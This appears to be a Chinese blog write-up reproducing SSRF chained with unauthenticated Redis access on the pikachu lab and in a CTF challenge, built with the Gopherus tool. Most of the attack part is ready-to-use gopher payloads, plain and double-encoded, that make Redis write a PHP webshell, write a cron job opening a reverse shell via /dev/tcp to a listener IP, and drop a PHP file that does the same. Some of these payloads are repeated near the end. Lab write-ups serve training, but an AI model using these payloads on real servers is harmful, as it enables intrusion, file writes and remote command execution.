ssrf+redis未授权访问漏洞复现

ssrf+redis未授权访问漏洞复现

一,pikachu靶场练习

docker拉取环境:

docker run -d -p 8765:80 8023/pikachu-expect:latest

国内很多加速源都用不成,配置代理拉取即可,配置方式如下:

1,新建目录
mkdir -p /etc/systemd/system/docker.service.d

2,新建文件,粘贴并内容,并保存!
vim /etc/systemd/system/docker.service.d/http-proxy.conf
以下粘贴内容,IP一定要换成你代理软件运行的电脑的内网IP,通过ipconfig可以查看
端口一定要是代理软件设置的局域网端口!
[Service]
Environment="HTTP_PROXY=http://192.168.8.125:10819"
Environment="HTTPS_PROXY=http://192.168.8.125:10819"
Environment="NO_PROXY=your-registry.com,127.0.0.1,*.example.com"  

3,重启Docker
systemctl daemon-reload
systemctl restart docker 

ssrf是什么,怎么用?

ssrf:服务器请求伪造漏洞,有一个参数,这个参数可以接收一个网址,可以在本地页面解析,解析过程 中没有进行过滤。

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()  请求网址

在这里插入图片描述
就像这样,可是这样好像也没什么用。

curl支持很多协议,有ftp,ftps,http,https,gopher,telnet,dict,file以及ldap
dict协议:探测服务 ?url=dict://127.0.0.1:3306  
此时读出来一些东西,改成3307没内容。证明dict协议可以去探测内网端口。
主要探测:fastcgi服务,可以去实现rec
        redis服务,6379端口,配合redis未授权访问,redis低版本下,很多人会设置访问密码,且安全模式关闭的情况下,我们可以:1.写入webshell(前提知道物理路径)2.写入任务计划,反弹shell 3.写入公钥,直接登录服务器。      

在这里插入图片描述

file协议可以读取文件
?url=file:///var/www/html/inc/config.inc.php
这里读取到了数据库连接文件,前提是:知道路径文件名,看你的当前权限

在这里插入图片描述

gopher协议
可以发送get和post请求

获取gopherus工具:

克隆仓库:
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
进入Gopherus/目录下
chmod +x install.sh
sudo ./install.sh
执行安装脚本
由于此工具使用的是python2环境,安装时还会报错,我们去安装一个python2环境即可。
参考:【Ubuntu20.04安装python2和python3及版本配置】http://t.csdnimg.cn/Wf5Qi

克隆仓库过程中会出现请求不到网址,只需要配置代理即可

git config --global http.https://github.com.proxy http://10.100.186.105:7897
地址是你本机的内网地址,端口是你的代理软件开启的端口

在这里插入图片描述
安装成功!
在这里插入图片描述
gopher工具介绍:

如果您知道某个地方容易受到 SSRF 攻击,那么此工具将帮助您生成 Gopher有效载荷,以利用SSRF,并获得 RCE(远程代码执行)

工具使用–写入webshell:

root@yfy:~/Gopherus# gopherus --exploit redis
//我们选择攻击redis

  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell):PHPshell
//你要反弹shell还是写入phpshell
Give web root location of server (default is /var/www/html):
//你要写入的根路径是哪个?
Give PHP Payload (We have default PHP Shell): <?php phpinfo();
//你要写什么样的webshell?
Your gopher link is Ready to get PHP Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

这段编码的意思是用rides格式,把<?php phpinfo();写入到shell.php文件中,存储在网站根路径/var/www/html 内存数据落盘。

工具使用–写任务计划反弹shell:

What do you want?? (ReverseShell/PHPShell): ReverseShell

Give your IP Address to connect with victim through Revershell (default is 127.0.0.1): 192.168.81.132
//反弹到那个接口/
What can be his Crontab Directory location
## For debugging(locally) you can use /var/lib/redis :
//写到那个目录
Your gopher link is ready to get Reverse Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.81.132/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

解码后:
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$69


*/1 * * * * bash -c "sh -i >& /dev/tcp/192.168.81.132/1234 0>&1" 
任务计划:一分钟执行一次,反弹shell到192.168.81.132/1234端口

*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save

意思为把反弹shell的任务计划写到/任务计划目:var/spool/cron/下的root文件里,以root权限执行我们的任务计划。

二,2月公开赛Web-ssrfme

【题目考查的技术点】

  • SSRF
  • redis未授权访问
  • SSRF攻击内网主机上的redis
    在这里插入图片描述
经过测试存在ssrf
http://192.168.81.132:8091/?url=www.baidu.com

在这里插入图片描述
但是源码过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测。

目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能:

查看phpinfo,如下图,可以看到当前主机的内网ip为172.18.0.3:
在这里插入图片描述
探测一下172.18.0.3上开启了那些服务,使用burpsuite:

http://192.168.81.132:8091/?url=http://172.18.0.3:1234

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述发现172.18.0.3主机只开放了80端口,放弃这台。

然后我们便可以探测该网段上存活的主机了(可以用burp,但这里手动测试即可):

?url=http://172.18.0.1  # 无存活
?url=http://172.18.0.2   # 发现另一存活机器
?url=http://172.18.0.3   # 当前机器

当我们测试到 172.17.0.2 时,返回了“Go away”:
在这里插入图片描述
说明172.17.0.2是内网中存活的另一台主机,并且上面也运行着http服务。但是当前还不能找到攻下这台内网主机的突破口,我们可以使用ssrf扫描一下这个内网主机的端口,这里使用burpsuite:
在这里插入图片描述
发现开发6379端口,说明这台内网主机上还运行着redis服务

redis 未授权访问攻击

接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。但是我们尝试发现不能直接在/var/www/html目录下写文件,我们使用burp扫一下都有哪些目录,发现有个upload目录。
在这里插入图片描述

github上有目录爆破词典

用gopherus工具生成playload

写入路径为/var/www/html/upload
内容为<?php system('cat /flag'); ?>

gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

进行二次编码:
gopher%3A%2F%2F172.18.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

然后使用ssrf访问这个内网的shell.php即可得到flag

http://192.168.81.132:8091/?url=http://172.18.0.2:80/upload/shell.php

在这里插入图片描述
我们也可以通过反弹shell来找flag。同样以上操作,会在这台内网主机的upload目录里写入一个shell.php,内容如下:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.81.130/14321 0>&1'"); ?>

gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2482%0D%0A%0A%0A%3C%3Fphp%20exec%28%22/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.81.130/14321%200%3E%261%27%22%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

需要二次编码

在这里插入图片描述
反弹shell成功,拿到flag!

%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

需要二次编码


[外链图片转存中...(img-s0Q8mVuE-1724773738830)]

反弹shell成功,拿到flag!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值